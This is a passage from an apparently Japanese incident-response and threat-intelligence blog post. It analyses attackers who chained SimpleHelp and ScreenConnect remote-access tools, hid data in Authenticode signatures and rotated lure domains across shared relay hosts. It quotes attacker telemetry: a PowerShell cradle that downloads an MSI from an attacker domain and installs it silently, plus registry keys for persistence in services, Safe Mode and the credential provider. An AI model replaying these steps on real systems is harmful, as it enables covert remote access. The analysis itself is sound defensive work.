ここでは PowerShell を通じて、ランダムな名前のスクリプト（たとえば CjQVbezOsUqbrun.ps1、OBh6G_wbb0GQrun.ps1、-rUW-kueG0aZrun.ps1、o11Pb_nFY0CYrun.ps1）を配信していました。これらのスクリプトは追加ペイロードの投下を試みましたが、エンドポイント保護によってブロックされ、ホストは直ちに封じ込められました。ケースAとは異なり、オペレータによる手動操作はそれ以上進行できず、意図されていた後続ペイロードがステージングされることもありませんでした。
ホスト上でどのように残存したか
ケースA - RMM の連鎖（SimpleHelp が ScreenConnect を展開）
この侵入では、単一の仕組みではなく複数層で永続化が確立されていました。潜伏期間を通じて、攻撃者が展開した3つの異なる ScreenConnect インストールに加え、既存で発見され削除された4つ目のインスタンス（86f0d5a67d81b88d、前述）を確認しています。その下位には SimpleHelp/JWrapper エージェントが存在し、これが配信エンジンであると同時に最初の永続化レイヤーとして機能していました。その結果、コンポーネントを1つ削除しても、ほかの要素が残ってアクセスを再確立できる、防御を意識した足場が形成されていました。
レイヤー1 - 侵入起点かつ最初の永続化としての JWrapper
SimpleHelp JWrapper エージェントが基盤でした。これは Windows サービス（Remote Access Service）として自身を登録し、さらに SafeBoot/Network キー配下にも追加されていたため、セーフモードで起動してもサービスが残存します。これは一般的な防御回避および永続化の手順です。
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ Remote Access Service = "Service"
JWrapper は自身を永続化するだけでなく、その上位にあるすべての要素の配信エンジンとしても機能していました。5月21日には PowerShell による MSI ダウンロードクレードルを起動し、supoort-pdf[.]com に対して3回失敗した試行を行っています。これは DNS レイヤーでブロックされていました。さらに 5月25日には invoice4u-pdf[.]com からの配信に成功しています。これは 6月10日まで活動を継続し、2026年6月9日 22:51 の時点でも SafeBoot キーへの書き込みと、同一の PowerShell ダウンロードクレードルの実行が確認されました。
レイヤー2 - それぞれ異なる方法で永続化する3つの ScreenConnect インスタンス
インスタンス b40d494994eae11f - 攻撃者の主要インスタンス
これは、すべてのハンズオンキーボード型スクリプト実行と MSI 展開が行われたクライアントです。2026年5月25日 09:43 に、invoice4u-pdf[.]com からの PowerShell ダウンロードクレードルを通じて JWrapper によりインストールされ、その完全なインストールシーケンスがテレメトリで直接記録されていました。
09:43:58PowerShell DownloadData from invoice4u-pdf.com -> WriteAllBytes C:\Users\Public\Support.msi -> msiexec /i C:\Users\Public\Support.msi /qn /norestart 09:44:28MsiExec.exe -Embedding ABBE8F6CFE0A98B16EAB34B010E93F00 -> rundll32 MSI5EBC.tmp FixupServiceArguments 09:44:34services.exe writes service registry key 09:44:34msiexec writes ScreenConnect Credential Provider registry entries regData: "ScreenConnect Client (b40d494994eae11f) Credential Provider" regData: C:\Program Files (x86)\...\ScreenConnect.WindowsCredentialProvider.dll 09:44:35ScreenConnect.ClientService.exe writes its own service registry key 09:44:36ScreenConnect.ClientService.exe spawns first RunRole child
1分足らずで、このインスタンスはダウンロードからビーコンを発する稼働中のサービスへ移行しました。その永続化は、サービスエントリ、SafeBoot\Network エントリ、Windows Credential Provider 登録という3つの仕組みにまたがっていました。
- サービス:
HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (b40d494994eae11f) = "C:\Program Files (x86)\ScreenConnect Client (b40d494994eae11f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=invoice4u-pdf.com&p=8041&s=50578ed0-6afa-4561-b761-b06d891ef06f&k=BgIAAACkAABSU0ExAAgAAAEAAQDxRqEgswsJ..."
- セーフモードでの残存:
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ScreenConnect Client(b40d494994eae11f) = "Service"
- Credential Provider:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential
Providers\{6FF59A85-BC37-4CD4-4848-68A16365B9B4}
= "ScreenConnect Client (b40d494994eae11f) Credential Provider"
HKCR\CLSID\{6FF59A85-BC37-4CD4-4848-68A16365B9B4}\InprocServer32
= C:\Program Files (x86)\ScreenConnect Client (b40d494994eae11f)\ScreenConnect.WindowsCredentialProvider.dllこのクライアントのリレー設定「h=invoice4u-pdf[.]com&p=8041」、セッション「GUID（s=）」、暗号化鍵「k=」は、サービスの起動引数に直接埋め込まれています。このため、別個の設定ファイルがなくても、リレーとセッションは再起動後も維持されます。3つの中でも最も積極的なのが Credential Provider 登録です。これはクライアントを Windows のログオン UI にフックするもので、単にサービスを自動起動する以上の永続化およびアクセス手法です。
インスタンス c2f52511b74375c5 - 9時間以内に2回インストールされ、サービス名も変更
このインスタンスは3つの中でも最も示唆に富んでいます。というのも、攻撃者が9時間以内に2回展開し、その間に偽装名を変えていたためです。インストール1は 2026年5月29日 午後9時26分に行われ、稼働中の b40d494994eae11f セッションを通じて Connec-supportPDF_modified.msi として、ScreenConnect のセッション一時ディレクトリから投入されました。
"C:\WINDOWS\System32\msiexec.exe" /I "C:\WINDOWS\SystemTemp\ScreenConnect\24.4.4.9118\Connec-supportPDF_modified.msi"
このときは、既定の ScreenConnect の「Client (...)」という命名ではなく、サービスは偽装名「SystemSupport」で登録されました。これは、明らかな ScreenConnect エントリよりも、サービス一覧に自然に紛れ込みやすい名前です。このインストールでは supoort-pdf[.]com:8041 リレーが使われており、主要インスタンスとは異なるリレーでした。加えて、特筆すべき点として SafeBoot キーは書き込まれていません。
HKLM\SYSTEM\CurrentControlSet\Services\SystemSupport
= "C:\Program Files (x86)\ScreenConnect Client (c2f52511b74375c5)\ScreenConnect.ClientService.exe"
"?e=Access&y=Guest&h=supoort-pdf.com&p=8041&s=310a801a-32f3-4b84-8984-5212ec254221&k=BgIAAACkAABSU0ExAAgAAAEAAQClv3mh..."
HKCR\CLSID\{6FF59A85-BC37-4CD4-C156-3BCD867D8A81}\InprocServer32
= C:\Program Files (x86)\ScreenConnect Client (c2f52511b74375c5)\ScreenConnect.WindowsCredentialProvider.dll
HKLM\SYSTEM\CurrentControlSet\Control\Lsa = msv1_0インストール2は 2026年5月30日 04:57 に続きました。これは下記の MSVisualFriend インスタンスの18分後に、supoourt-pdf.msi として展開されています。
"C:\WINDOWS\System32\msiexec.exe" /I "C:\WINDOWS\SystemTemp\ScreenConnect\24.4.4.9118\supoourt-pdf.msi"
今回は攻撃者は偽装をやめ、完全な名前「ScreenConnect Client (c2f52511b74375c5)」で登録し、インストール1にはなかった SafeBoot キーも追加しました。
HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (c2f52511b74375c5)
= "C:\Program Files (x86)\ScreenConnect Client (c2f52511b74375c5)\ScreenConnect.ClientService.exe"
"?e=Access&y=Guest&h=supoort-pdf.com&p=8041&s=84cad759-fc5e-42f4-9071-5c8233d0f1ba&k=BgIAAACkAABSU0ExAAgAAAEAAQClv3mh..."
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ScreenConnect Client (c2f52511b74375c5) = "Service"
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-C156-3BCD867D8A81}= "ScreenConnect Client (c2f52511b74375c5) Credential Provider"
HKCR\CLSID\{6FF59A85-BC37-4CD4-C156-3BCD867D8A81}\InprocServer32= C:\Program Files (x86)\ScreenConnect Client (c2f52511b74375c5)\ScreenConnect.WindowsCredentialProvider.dllこの2回のインストールが同一インスタンスであることは、2つの点から結び付けられます。セッション GUID はインストール1の 310a801a-... からインストール2の 84cad759-... へと切り替わっていましたが、RSA の key(k=) は同一のままでした。このインスタンスはその後、2026年6月11日 05:14 にアンインストールされ、バイナリは C:\Config.Msi*.rbf に移されました。これは Windows Installer のロールバックファイル保存先であり、正常な msiexec アンインストールと整合します。
インスタンス MSVisualFriend - 最も深い偽装
これは 2026年5月30日 04:40 に Microsoftsupoort-invo[.]msi を介して展開され、c2f52511b74375c5 のインストール2より18分前でした。
"C:\WINDOWS\System32\msiexec.exe" /I "C:\WINDOWS\SystemTemp\ScreenConnect\24.4.4.9118\Microsoftsupoort-invo.msi"
このインスタンスは3つの中で最も徹底した偽装を施されていました。インストールディレクトリと Windows サービス名（Microsoft）の両方が、正規の Microsoft コンポーネントに見えるよう選ばれていました。MSVisualFriend フォルダから実行される単に「Microsoft」という名前のサービスは、サービス一覧を軽く見ただけでは見逃される可能性があります。
HKLM\SYSTEM\CurrentControlSet\Services\Microsoft
= "C:\Program Files (x86)\MSVisualFriend\ScreenConnect.ClientService.exe"
"?e=Access&y=Guest&h=invoice4u-pdf.com&p=8041&s=7ffc16ce-74ab-4c6f-8965-95e399744b10&k=BgIAAACkAABSU0ExAAgAAAEAAQDxRqEgswsJ..."
HKCR\sc-2dac5f462202f236\shell\open\command= "C:\Program Files (x86)\MSVisualFriend\ScreenConnect.WindowsClient.exe" "%1"
HKCR\CLSID\{6FF59A85-BC37-4CD4-3083-08B3A163D177}\InprocServer32= C:\Program Files (x86)\MSVisualFriend\ScreenConnect.WindowsCredentialProvider.dllHKLM\SYSTEM\CurrentControlSet\Control\Lsa = msv1_0このインスタンスの k= に含まれる RSA 鍵は、b40d494994eae11f と完全に一致しており、両クライアントが同じ攻撃者のリレー基盤からプロビジョニングされたことを示しています。MSVisualFriend は独自のセッション GUID で invoice4u-pdf[.]com:8041 を指しており、主要インスタンスと同じリレー上に、別名義で独立した足場を攻撃者に与えていました。これは意図的な冗長化とみられます。
ケースB - SEO ポイズニング（トロイの木馬化されたフリーウェアのインストール）
ケースAで見られたような多層的な永続化は、ケースBでは確認されませんでした。攻撃者は、ホストが封じ込められる前に、単一の永続化メカニズムのみを確立していました。具体的には、「MsVC20152019Svc」サービス（image path C:\Program Files (x86)\VCRunLib1428\ScreenConnect.ClientService.exe）を作成し、LocalSystem で自動起動するよう設定していました。
内部の仕組み: 署名にデータを詰め込んだ SimpleHelp インプラント
ケースBでは2つのRATが展開されていました。ScreenConnect 側については前述のとおりです。調査中にホスト上で最初に特定された RAT であり、ScreenConnect の配信にも使われた SimpleHelp コンポーネントでは、署名の改ざんが最も明確に確認されました。当社はこのケースの JWrapper バンドルを収集し、静的解析と動的解析を実施しました。
SimpleHelp ツールは正規の SimpleHelp v5.2 インストーラでしたが、14個の制御用バイナリのうち4個が、コードではなく署名レベルで改ざんされていました。各ファイルでは、証明書テーブルが約 5 KB から約 205 KB に膨らんでおり、署名の unauthenticated attributes に隠された暗号化 blob を保持していました。それでもファイルの Authenticode digest は一致するため、コード整合性チェックでは改ざんは検出されません。
それでも署名が有効と判定される理由
Unauthenticated attributes は、Windows の Authenticode hash に含まれません。そのため、本物の署名付きバイナリのコピーさえあれば、秘密鍵がなくても blob を差し替えられます。実在の SimpleHelp Ltd. の証明書（現在は失効）で署名されているため、改ざん済みクライアントはあらゆる信頼性チェックを通過します。
改ざんされた4つのバイナリを静的に解析したところ、以下が確認されました。
- 証明書テーブルは約 205 KB で、同じバンドル内の未改ざんバイナリで見られた約 5 KB の約33倍から45倍でした。
- 204,928 バイトの暗号化 blob（エントロピー約 8.0）が、署名の unauthenticated attributes 内の非標準 object identifier
0.0.0.0.0.0.0（byte pattern06 06 00 00 00 00 00 00）の背後に隠されていました。4つそれぞれに固有の blob が埋め込まれていました。 - 正規ビルドとコードセクションがバイト単位で一致しており、実行コードは一切変更されず、変更されていたのは署名領域のみでした。
- すべてのバイナリに、正規だが現在は失効している SimpleHelp Ltd のコード署名証明書が使われていました。
- バンドル内の他の6つのバイナリにも同じ属性スロットが存在しましたが空であり（エントロピー 0.02）、単発のパッチではなく、ツール駆動の体系的な処理であることを示していました。
これは、Windows が整合性ハッシュに含めない署名部分にデータを密かに持ち込む手法、すなわち「Authenticode stuffing」です。これらの属性は認証対象外であるため、本物の署名付きバイナリのコピーがあれば、署名鍵へのアクセスなしに blob を追記でき、それでも Authenticode digest は一致します。ただし、これは署名が現在も信頼されていることとは別の話です。SimpleHelp Ltd の署名証明書は後に失効しており（VirusTotal による）、これは改ざんの有無にかかわらずバンドル内のすべてのバイナリに等しく適用されます。したがって、上記2つのグループを分ける要因ではありません。この手法は、G DATA の EvilConwi research で ScreenConnect に対するものとして公開されていますが、ここでは別ベンダーのツールでも確認されました。バンドルされた設定では、攻撃者のリレーへの無人・スクリプト実行可能な接続がハードコードされていました。
これにより、セッション確認プロンプトなしの無人リモート操作が有効化され、スクリプト実行がオンになり、さらにソフトウェア更新チャネルも同じ攻撃者ホストへ向け直されていました。被害者ホスト名は伏せています。このリレー 144.126.149[.]104 は、前述した2台目のエンドポイントでブロックされたコールアウトに現れたものと同じ SimpleHelp ゲートウェイ（port 9999）であり、2つのホストを結び付ける共有インフラです。また、外部インテリジェンスでは AsyncRAT の C&C ノードとしても独立にタグ付けされていますが、これは AsyncRAT 自体がこの事案で展開された証拠ではなく、共有インフラの重複として解釈しています。
この侵入では、役割の異なる2つのC&Cチャネルが、攻撃者管理下の別々のサーバに対して構築されていました。
- SimpleHelp gateway - 主たる自動化チャネル。
144.126.149[.]104:9999上の SimpleHelp gateway を介した、スクリプトによるコマンド実行、監視、ファイル転送 - ScreenConnect client - 補助的な対話型チャネル。
86.106.143[.]249:8041（invoice4u-pdf[.]com）上のリレーを介した、手動のデスクトップ操作とファイル制御
このように2つの RMM ツールを並行運用し、片方を自動化、もう片方を対話操作に使う手法は、Securonix の公開レポート VENOMOUS#HELPER SimpleHelp campaign と一致します。ただし、当社が観測したインフラは、その報告にあるものとは異なります。
適用範囲について重要な補足があります。Authenticode stuffing を確認できたのは SimpleHelp バイナリに限られます。調査中に ScreenConnect インストーラは回収できず、静的解析も行えませんでした。そのため、同じ手法が ScreenConnect に対して文書化されているとしても（G DATA, EvilConwi）、この事案の ScreenConnect クライアントで実際に使われていたかは確認できません。
インフラと攻撃手法に関する観測
SimpleHelp を起点に得られた知見
不正広告やソーシャルエンジニアリングで配信された ScreenConnect のケースの多くは早期に阻止されたため、被害者像や攻撃者に関する知見は限られていました。ただし、このブログ記事で前述した公開レポートから一定の背景は得られます。フィッシング配信型の活動は、2つの点で際立って一貫しています。標的が米国に大きく偏っていること、そして動機が金銭目的と読めることです。一方、ケースBの背後にある SEO ポイズニング型の活動は、より広範で日和見的なプロファイルを示しています。Kaspersky の Securelist の調査に基づくと、この SEO poisoning 活動は、無料ソフトウェアをダウンロードする一般消費者と企業ネットワークの両方を標的にしています。後者が狙われるのは、リモートアクセスツールがしばしば許可リストに登録され、高い権限を与えられているためです。これは、これらのケース全体で ScreenConnect が魅力的な標的となるのと同じ信頼です。Securelist は、このキャンペーンの目的を、大規模な認証情報窃取と、ダークウェブのマーケットプレイスでのアクセス販売である可能性が高いと評価しています。
Securonix の VENOMOUS#HELPER レポートは、当社が最も深く分析できたケースに最も近い公開事例です。自己ホスト型の SimpleHelp インスタンスと ScreenConnect リレーを、2つの独立したアクセスチャネルとして組み合わせる同じデュアルRMM手法が使われており、SimpleHelp が自動化、ScreenConnect が対話操作を担っています。この報告は明確な基準線を示しています。SSA をテーマにしたフィッシングルアーが SimpleHelp のブートストラップを配信し、被害者は主に複数業種にまたがる米国組織です。
本事例との違いは、可視化が始まった時点で SimpleHelp エージェントがすでに常駐しており、環境内でその起点を特定できなかったことです。この空白をそのままにせず、改ざんされた SimpleHelp インプラントとその C&C を起点に、どのように到達したのか、背後にどのようなインフラがあったのかを再構成しました。これにより、VENOMOUS#HELPER を裏付けると同時に、公開レポートで強調されている内容を超える知見も得られました。攻撃者はドメイン、IP、ポートといった使い捨ての指標をローテーションさせますが、ビルドパイプラインと SimpleHelp / ScreenConnect の組み合わせは、すべての作戦で維持しています。
ルアードメイン（supoort-pdf[.]com と invoice4u-pdf[.]com）
ケースAで ScreenConnect を配置していた2つの「pdf」テーマのドメインは、同じ攻撃者によるものです。どちらも近接した時期（およそ48時間以内）に GoDaddy 経由で登録され、同じネームサーバ群（ns37/ns38.domaincontrol.com）と類似した ZeroSSL DV 証明書を使っており、さらに同一の構造的 vhash（45155b83172cd3ff230fec9025027227）を共有する ScreenConnect MSI パッケージをホストしています。命名にも意図があります。supoort-pdf[.]com は「support」のタイポスクワット（二重の o）に -pdf 接尾辞を付け、IT サポート文書ポータルのように見せています。一方、invoice4u-pdf[.]com は同じ -pdf 接尾辞のまま請求書テーマに差し替え、業務文書の配信を装っています。
この2つは、異なるプロバイダ上の異なるホストに解決されます。supoort-pdf[.]com は 86.48.16[.]94（Contabo Inc., AS40021）に解決され、「ScreenConnect Remote Support Software」というタイトルのページを表示します。invoice4u-pdf[.]com は 86.106.143[.]249（M247 Europe SRL, AS9009）に解決され、稼働中の「Welcome to SimpleHelp」ランディングページを表示します。86.106.143[.]249 はこのケースの ScreenConnect リレーでもあり、ScreenConnect のデフォルトリレーポートである port 8041 が、非標準の port 4000 とともに開いていました。つまり、1つのノードが SimpleHelp の Web アタックサーフェスと、開放された ScreenConnect リレーポートの両方を公開していたことになります。
3つ目のドメイン infososso[.]com（2026年6月14日登録）は、supoort-pdf[.]com とホスティング IP および TLS 証明書を共有しており、攻撃者が次にローテーションさせるルアーである可能性が高いと評価しています。2026年7月27日時点で、VirusTotal にはまだこのドメインへ接続する提出ファイルは表示されておらず、設置済みだがまだ実戦投入されていないドメインという見立てと整合します。
二重用途ノードと共有ビルドパイプライン
ケースAでは、2つのノードはそれぞれ単一かつ明確な役割を担っていました。144.126.149[.]104 は SimpleHelp の自動化ゲートウェイ、86.106.143[.]249 は ScreenConnect の対話型リレーでした。しかし、この分離はホストの制約ではなく、運用上の選択でした。86.106.143[.]249（invoice4u-pdf[.]com、このケースの ScreenConnect リレー）と 144.126.149[.]104（プライマリホスト上の serviceconfig.xml に SimpleHelp gateway としてハードコードされ、2台目のエンドポイントでブロックされた SimpleHelp コールアウトの宛先でもある）は、いずれも二重用途ノードとして機能しており、SimpleHelp ツール群と ScreenConnect ペイロードを併せてホストしていました。
IP をまたぐ最も強い関連性は、共有された rich_pe_header_hash（7e53740603acd1033aa752fc2fc81a73）です。これにより、両IP上の SimpleHelp バイナリが単一の開発者／ビルド環境に属するクラスターとして結び付けられ、VirusTotal では現在も提出が続いています。Shodan では、いずれのホストのライブポートにも ScreenConnect バナーは見つかりませんでしたが、VT では通信先ファイルおよびドロップファイルを通じて、両IP上の ScreenConnect ペイロードが確認できます。つまり、これらのノードから、あるいはこれらのノード経由で ScreenConnect ペイロードが配信されていました。これは、サンドボックスで観測された IP 接続とドロップファイルによって確認しています。ScreenConnect サービス自体は、スキャン時点で標準ポート上で恒常的に待ち受けていなかった可能性がありますが、二重用途という評価はファイルレベルの証拠によって裏付けられています。
このことは、どちらのノードでもどちらの役割も果たし得たことを意味します。攻撃者は、均質で二重用途に対応可能なホスト群から選び、作戦ごとに役割を割り当てています。このケースでは、自動化と手動操作を別々のインフラに分けていましたが、必要に応じてその役割を再割り当てしたり、単一ホストに集約したりできる柔軟性を保っていました。この相互交換可能性は、全体を通じて見られる冗長性とローテーションのパターンを補完するものです。単一のホストに専用性や代替不能性はありません。
GitHub 経由の SimpleHelp 配信
この配信チェーンは、ケース内で直接観測されたものではありません。可視化が始まった時点で SimpleHelp はすでに常駐していましたが、オープンソースのインフラ分析によって再構成しました。したがって、これは SimpleHelp がホストに到達した経路として有力な候補ではあるものの、確認済みの証拠ではありません。その前提のうえで、2つのノードの通信ファイルを起点にたどると、配信レイヤーが見えてきます。いずれかの IP に接続したことが観測された VirusTotal のファイル検索 を行うと、SimpleHelp バイナリの一群が得られます。その In-the-Wild URL は GitHub に解決され、raw.githubusercontent.com やリポジトリの raw パスから実行ファイルを配信する、使い捨てアカウントの大規模クラスターが確認できます（配信ベクターのキャプチャを参照）。ファイル名は一貫した規則に従っています。IL- プレフィックス（Israel）、キャンペーンの反復を示唆する 2025/2026 の年号、警察関連の文字列（イスラエル警察のなりすまし）、さらに PDF 文書を装う -pdf.exe または二重拡張子 -pdf.exe.exe のルアーです。配信レイヤーとして GitHub raw を使うことで、プラットフォームの評判と TLS を継承でき、使い捨ての -pdf ドメインよりも一括ブロックしにくくなります。
ローテーションするインフラ: さらに6つの二重用途ホスト
共有された rich_pe_header_hash（7e53740603acd1033aa752fc2fc81a73）と、GitHub 配信のファイル名パターンを起点にたどると、SimpleHelp のビルドパイプライン指紋とともに、少なくともさらに6つの IP が、SimpleHelp / ScreenConnect の二重用途ホストとして振る舞っていることが分かります（一覧は網羅的ではありません）。
161.97.166[.]38198.23.185[.]231154.53.50[.]197158.94.210[.]26164.68.120[.]30185.196.10[.]48
これらの多くは、このケースで確認されたものと同じホスティング事業者上にあり、特に Contabo（AS40021, AS51167）が目立ちます。6件中5件には VirusTotal 上で AsyncRAT との関連付けがありますが、これは前述した共有インフラの重複と整合しており、本事例で AsyncRAT が展開されたことを意味するものではありません。いくつかのホストは同じポート構成も公開しており、SimpleHelp は 9999/8888/9009、ScreenConnect は 8041/443 ですが、攻撃者はホストごとに具体的なポート番号を変えています。
ドメインは IP プール全体をまたいでローテーションしています。より示唆的なのは passive DNS に見られるパターンです。攻撃者の -pdf / ルアードメインは1台のホストに固定されず、時間の経過とともにプール内を移動し、同じドメインが複数の IP に再出現します。たとえば次のとおりです。
usapdfa[.]comは、161.97.166[.]38（2026年5月1日）、次に164.68.120[.]30（2026年6月10日）、さらに198.23.185[.]231（2026年7月1日）へ解決されました。social-vpdf[.]comは、2025年後半から2026年半ばにかけて、164.68.120[.]30、144.126.149[.]104、198.23.185[.]231の間を移動していました。soka-nline[.]com、ispolic[.]com、rovider[.]netは、それぞれ異なる日付に2つの異なる IP 上へ出現しています。
ドメインは複数ホストを巡回し、ホスト側も複数ドメインを共有しています。そして、共有されたビルドパイプライン hash と再利用されるドメイン群が、このホストプール全体を結び付けています。同じ挙動はホストレベルでも見られ、今では攻撃者のリレー基盤全体にわたって確認できます。使い捨てレイヤー、すなわち IP、ポート、どのドメインがどこを指すかは絶えず循環していますが、中核要素、すなわちビルド指紋、-pdf 命名規則、RMM の組み合わせは変わっていません。86.106.143[.]249 に関する付随的な詳細を1つ挙げると、このアドレスには Mullvad のリレー用 PTR（us-nyc-br-201.relays.mullvad[.]net）と VirusTotal の「VPN egress」タグが付いており、どちらも 2022 年時点のもので、攻撃者がこのアドレスを 2026 年に使用するよりかなり前の情報です。最も可能性が高い説明は、ホスティング事業者（M247）による通常のアドレス再利用であり、この VPN 履歴は攻撃者ではなく無関係な以前の利用者に属していたというものです。注目すべき点として、VPN／「egress」の残存レピュテーションがあるアドレスは監視の目を比較的かいくぐりやすく、レピュテーション上クリーン、あるいは無害なタグの付いたインフラを再利用することは、この攻撃者が他でも見せているパターンです。たとえば、ペイロードのステージングに GitHub の raw ホスティングや Manus AI プラットフォームの CDN を悪用している事例が確認されています。今回、攻撃者が元 VPN ノードを意図的に選んだのか、それとも単にそのアドレスを引き継いだだけなのかは未確認です。いずれにせよ、この残存タグは、再利用されたインフラにおける過去のレピュテーションが攻撃者に有利に働き得ることを示しています。
公開報告との重複
当社がマッピングしたインフラは、他ベンダーが別個に報告したキャンペーンと 2 つの独立した重複点で結び付いています。どちらも正式なアトリビューションを意味するものではありませんが、単なる偶然の同居よりは強い関連性を示しています。
- rovider[.]net - Acronis の報告と共有される攻撃者保有ドメイン。 上記のローテーションドメインの 1 つである rovider[.]net は、公開報告と直接重複しています。Acronis はトロイの木馬化されたインストーラに関する調査で、morco.rovider[.]net、gaza.rovider[.]net、lightc.rovider[.]net を ScreenConnect のステージング用サブドメインとして記録しています。これは、単にホスティング事業者を共有している、あるいはサードパーティサービスを再利用しているという関係より強い結び付きです。rovider[.]net は攻撃者が登録したドメインで、2025 年 5 月 9 日に GoDaddy を通じて ns63/ns64.domaincontrol.com ネームサーバ上で作成されました。これは、おとり用ドメイン supoort-pdf[.]com および invoice4u-pdf[.]com と同じレジストラ、同じ .domaincontrol.com ネームサーバ系統、そして同じ登録上のトレードクラフトです。morco／gaza／lightc の各サブドメインは、サービスによって自動生成されたラベルではなく、運用者自身による命名です。このため、共有ダイナミック DNS や subdomain-as-a-service という説明は成り立ちません。当社の調査と Acronis が別個に報告したキャンペーンの双方に現れていることから、この 2 つのクラスターは同一の活動、または共有の運用インフラを使う近縁の運用者であることが示唆されます。特定の名前付きグループへのアトリビューションは行いませんが、これは攻撃者管理下のインフラによる直接的なリンクです。なお、共有された運用インフラは、共通ビルダー、アクセスブローカー経由の引き渡し、あるいは単一オペレーションのアフィリエイトを反映している可能性もあります。ここでの登録者情報はプライバシー保護で隠されているため、この関連性は登録者 ID の一致ではなく、レジストラ、ネームサーバ、トレードクラフトの相関から推定しています。
- 198.23.185.0/24 - 当社の 2 つの事例と Securelist の報告にまたがる共有レンジ。 198.23.185.0/24 レンジ（NOHAVPS、AS63025）は、3 つのデータポイントに繰り返し登場します。すなわち、当社のピボットクラスター内の二重用途ホストである 198.23.185[.]231、SEO ポイズニング（balenaEtcher）事例で到達を試みたリレー 198.23.185[.]136、そして Securelist の SEO ポイズニング／AsyncRAT 調査の「Fake domain infrastructure」セクションに掲載された 198.23.185[.]81 です。共有された /24 それ自体は弱いシグナルです。事業者は単一ブロック内に多数の無関係な顧客を収容するため、これだけで単一運用者の証拠とは見なしません。重みを持つのは文脈であり、3 つとも同じニッチな事業者上の ScreenConnect 悪用リレーで、いくつかは AsyncRAT との関連を持ち、狭いレンジ内に集中的に分布しています。共有されたビルドパイプラインのフィンガープリントと、ローテーションする -pdf ドメイン群をあわせて見ると、SEO ポイズニング系統と RMM チェイニング系統が共通のプール、または共通の事業者フットプリントからリレーインフラを調達していることが示唆されます。これは、当社の 2 事例と Securelist が別個に報告したキャンペーンの間で共有インフラが存在する証拠であり、共通アトリビューションの確認ではありません。
配信ベクトルと被害対象（GitHub クラスター）
RMM チェイニング事例そのものは当社の可視性より前の段階で始まっていましたが、そこにつながる GitHub 配信クラスターには、初期侵入ベクトルとしてフィッシングメールが使われたことを示す複数の痕跡があります。GitHub の raw 配信 URL の一部には SafeLinks の痕跡（safelinks.protection.outlook, data=05）が含まれており、これはそれらのリンクが被害者に到達する前に Microsoft 365 のメール基盤を通過したこと、つまりメール内でクリックされたことを直接示します。ファイル名には、クリックを急がせるよう設計された、警察の召喚状、政府通知、社会保障明細、請求書といった典型的なメールの口実が使われています（Update-POLICE.exe、Israel-Gov.exe、Social_eStatement_2026_Pdf.exe）。さらに、TinyURL リンク（tinyurl[.]com/police-2026-pdf、tinyurl[.]com/pdf-police-01057）も配信チェーン内に現れており、最終的な GitHub raw の配信先を受信者とメールセキュリティフィルタの双方から隠したうえでペイロードへリダイレクトする、よくあるフィッシング手法が使われています。
おとりファイル名と標的ドメインから見える被害対象像は、1 つのバックエンドを共有する並行キャンペーンが 2 系統存在することを示唆します。1 つはイスラエル色が非常に強く、Israel-Gov.exe、Srael-154-PDF.exe.exe、driverapply@police.gov.il_6537401.exe、IL-2025-pdf.exe、PDF-2026IL.exe.exe といった名称から、イスラエル国内またはヘブライ語話者が標的とみられます。もう 1 つは、Social_eStatement_2026_Pdf.exe や Invoice-2025-089-12.exe のような金融文書を装ったおとりを使っており、異なるプロファイルを狙っていると考えられます。GitHub URL の疑問符以降に埋め込まれた標的ドメインは、法務、メディア、金融、医療、不動産、物流、専門サービス分野の組織にまたがっており、その大半は米国拠点です（.com／.org／.edu、加えて米国の郡政府を含む）。2026 年の活動では、ハンガリーや韓国といった少数の例外も見られます。これは、攻撃者が同じ C&C ノード、ビルダーツールチェーン、GitHub 配信メカニズムを共有しながら、ソーシャルエンジニアリング上のおとりだけを対象ごとに調整して並行キャンペーンを運用していることを示しています。
注目すべき点として、当社が実際に対応した RMM チェイニング事例はイスラエル拠点の組織で発生しており、これはインフラ内で見つかったイスラエル関連のおとりと一致します。ファイル名から推定した標的像は、当社が実際に扱った侵害事案にもそのまま現れていました。同時に、より広い被害対象像が主として米国であることから、この攻撃者はイスラエル専従ではなく、共有インフラ上で地域別に調整した並行キャンペーンを実行していたことが確認できます。米国中心で文書をテーマにした標的設定は、CISA、Acronis、Securonix の報告内容とも一致します。一方、イスラエルおよび police.gov.il を狙うプロファイルは、インフラ分析と当社事例の双方から当社が独自に明らかにしたものです。
結論
今回の事例群が示しているのは、正規ツールがどのように兵器化されるかという点です。攻撃者は、本物のコード署名済みクライアントを再設定して攻撃者管理下のインフラへ接続させ、それをインストールさせるために最も都合のよい経路で配信します。DocuSign 通知を装ったフィッシングメール、動作するフリーウェアに仕込まれた検索結果ポイズニング、不正広告を介したリダイレクト、そして最も深刻な事例では、信頼されている 1 つの RMM ツールを使って別の RMM ツールを密かに展開していました。インストーラはレピュテーションチェックをすべて通過します。バイナリ自体も正規のものです。承認された展開と悪性の展開を分ける唯一の要素は文脈です。どこから来たのか、どのリレーに接続するのか、そしてそれが誰かに承認されたものかどうかです。
最も深刻な事例が示したのは、この手法が早期に検知されなかった場合にどのような様相を見せるかです。攻撃者は忍耐強く、構造的に行動していました。3 回のダウンロード失敗の後に機能するドメインへ切り替え、Microsoft を模倣したサービス名とディレクトリパスで複数の ScreenConnect インスタンスを展開し、Windows のログオン UI にまで達する永続化フックを設け、最後には再起動を強制する前にホスト上の競合するリモートアクセスツールをスクリプト単位で系統的に排除していました。その背後のインフラも同じ発想で構築されていました。共有ビルドパイプラインから用意された二重用途ノードのプールがあり、おとりドメインを IP 間で循環させることで、1 件のテイクダウンでは運用全体が止まらないようにしていました。この種の冗長性は、侵入の痕跡（IoC）ベースのブロッキングを生き延びるために設計されたものです。
この一連の侵入の大半は、攻撃者が足場を築く前に阻止されました。それはインストーラ自体が悪性としてフラグされたからではなく、自動化ツールでは構築できない文脈を MDR アナリストが積み上げたからです。
推奨事項
今回の調査結果に基づき、組織には次の対策の実装を推奨します。
- RMM の許可リストポリシーを確立する: 承認済みのすべてのリモートアクセスツールと、その固有インスタンス ID を文書化してください。承認されていないリレーに接続する ScreenConnect、SimpleHelp、または類似ツールは、ただちに調査対象とすべきです。
